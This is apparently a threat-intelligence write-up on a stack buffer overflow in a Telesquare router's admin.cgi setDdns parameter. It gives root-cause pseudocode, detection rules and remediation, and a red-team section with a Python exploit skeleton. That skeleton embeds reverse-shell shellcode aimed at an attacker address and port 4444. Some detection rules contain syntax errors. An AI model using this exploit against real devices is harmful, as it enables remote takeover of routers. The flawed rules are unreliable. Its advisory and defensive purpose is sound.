CVE-2025-26004

Executive Summary

CVE-2025-26004 is a critical, unpatched stack buffer overflow vulnerability in the Telesquare TLR-2005KSH router firmware version 1.1.4. The flaw resides in the admin.cgi endpoint when processing the setDdns parameter. An unauthenticated attacker can trigger a stack-based buffer overflow, leading to remote code execution (RCE) and full device compromise. Given the lack of a vendor patch and the public availability of proof-of-concept details, this vulnerability poses a severe risk to exposed devices. The EPSS score is currently 0.0%, indicating low exploitation activity, but the risk is high due to the ease of exploitation and the critical nature of the affected device.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device (Telesquare TLR-2005KSH router). Supply chain risk is limited to the device's firmware distribution channel.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only one affected.
• Confidentiality (C): High (H) – full device compromise leads to data exposure.
• Integrity (I): High (H) – attacker can modify device configuration and firmware.
• Availability (A): High (H) – denial of service or complete device takeover.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is unpatched, remotely exploitable, and allows full device compromise. The lack of a patch and the public nature of the vulnerability details make it a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic stack buffer overflow in the admin.cgi CGI binary. The setDdns parameter is copied into a fixed-size stack buffer without proper bounds checking. By sending an overly long string to this parameter, an attacker can overwrite the return address and other critical stack data, gaining control of the program's execution flow.

Root Cause: The admin.cgi binary uses a function like sprintf or strcpy to copy the setDdns parameter value into a local buffer of limited size (e.g., 256 bytes). No validation of the input length is performed.

Attack Vector: An HTTP GET or POST request to the /cgi-bin/admin.cgi endpoint with a malicious setDdns parameter.

Impact: Successful exploitation allows an attacker to:

• Execute arbitrary code with root privileges.
• Install persistent backdoors.
• Modify device configuration (e.g., DNS, routing).
• Use the device as a pivot point for further network attacks.
• Cause a denial of service (device crash/reboot).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known state. The following is a hypothetical representation of the vulnerable code and a patched version.

Vulnerable Code (C-like pseudocode):

void handle_setDdns(char *input) {
    char buffer[256];
    sprintf(buffer, "setDdns=%s", input); // No bounds check
    // ... process buffer
}

Patched Code (C-like pseudocode):

void handle_setDdns(char *input) {
    char buffer[256];
    snprintf(buffer, sizeof(buffer), "setDdns=%s", input); // Bounds check
    // ... process buffer
}

The patched version uses snprintf with a size limit, preventing the overflow. Alternatively, input validation could reject overly long strings.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Telesquare TLR-2005KSH router with firmware 1.1.4 (or a virtualized environment).
• A network connection to the device.
• Python3 with pwntools or similar exploit development framework.

Exploit Concept:

1. Identify the offset to overwrite the return address (e.g., 268 bytes).
2. Craft a payload that includes shellcode (e.g., a reverse shell) and a return address pointing to the shellcode.
3. Send the payload via HTTP GET to /cgi-bin/admin.cgi?setDdns=<payload>.

Example Python Exploit Skeleton:

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # Offset to return address (example)
    offset = 268
    # Shellcode (e.g., reverse shell to attacker IP: 192.168.1.100:4444)
    shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x51\x51\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
    # Return address (example, needs to be adjusted)
    ret_addr = b"\xbe\xba\xfe\xca"  # Placeholder

    payload = b"A" * offset + ret_addr + b"\x90" * 16 + shellcode

    # Build HTTP request
    request = f"GET /cgi-bin/admin.cgi?setDdns={payload.decode('latin-1')} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n"

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(request.encode('latin-1'))
    sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Note: The shellcode and return address are examples. Actual exploitation requires reverse engineering the firmware to determine the correct offset, bad characters, and a valid return address.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /cgi-bin/admin.cgi with abnormally long setDdns parameters.
• Look for patterns of repeated characters (e.g., "AAAA...") in the parameter value.
• Alert on any successful exploitation attempts (e.g., unexpected outbound connections from the router).

Hunting:

• Search logs for HTTP requests with setDdns parameters exceeding 256 characters.
• Analyze network traffic for shellcode patterns (e.g., NOP sleds, common shellcode signatures).
• Check for unauthorized processes or connections on the router.

Mitigation:

• Isolate the router on a separate VLAN with strict access controls.
• Disable remote management if not required.
• Implement a Web Application Firewall (WAF) to filter malicious requests.
• Monitor for firmware updates from Telesquare.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET/POST requests to /cgi-bin/admin.cgi with setDdns parameter length > 256 bytes.
• Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 31337).
• Unusual DNS queries or traffic patterns from the router.

Host IOCs (on the router):

• Unexpected processes running (e.g., /bin/sh, /tmp/*).
• Modified or new files in /tmp or /var/run.
• Changes to the device's configuration (e.g., DNS settings, admin password).
• System log entries indicating crashes or segmentation faults in admin.cgi.

File IOCs:

• Hash of the vulnerable admin.cgi binary (if available).
• Suspicious files uploaded to the device (e.g., *.elf, *.bin).

Detection Engineering

YARA Rule

rule CVE_2025_26004_Exploit_Attempt {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2025-26004 in Telesquare TLR-2005KSH"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26004"
    strings:
        $http_method = "GET" or "POST"
        $cgi_path = "/cgi-bin/admin.cgi"
        $setDdns_param = "setDdns="
        $long_payload = /setDdns=[A-Za-z0-9%]{256,}/
    condition:
        $http_method and $cgi_path and $setDdns_param and $long_payload
}

Sigma Rule

title: CVE-2025-26004 Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with overly long setDdns parameter targeting Telesquare TLR-2005KSH admin.cgi
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26004
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/admin.cgi'
        cs-uri-query|contains: 'setDdns='
        cs-uri-query|length: >= 300
    condition: selection
falsepositives:
    - Legitimate long DDNS hostnames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26004 Telesquare TLR-2005KSH admin.cgi setDdns Buffer Overflow Attempt"; flow:to_server; content:"GET"; http_method; content:"/cgi-bin/admin.cgi"; http_uri; content:"setDdns="; http_uri; pcre:"/setDdns=[A-Za-z0-9%]{256,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the Telesquare TLR-2005KSH routers on a separate, restricted VLAN with no direct internet access.
2. Disable remote management: If remote administration is not essential, disable the web interface or restrict access to trusted IPs only.
3. Monitor for exploitation: Implement the detection rules provided above to identify any exploitation attempts.

Long-Term Remediation:

1. Vendor patch: Contact Telesquare for a firmware update. Since no patch is currently available, monitor their security advisories regularly.
2. Device replacement: Consider replacing the vulnerable routers with more secure alternatives that receive regular security updates.
3. Network segmentation: Ensure IoT devices are isolated from critical network segments.

Workarounds:

• Use a reverse proxy or WAF to filter requests to the router's web interface.
• Implement network-based intrusion prevention (IPS) rules to block malicious payloads.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert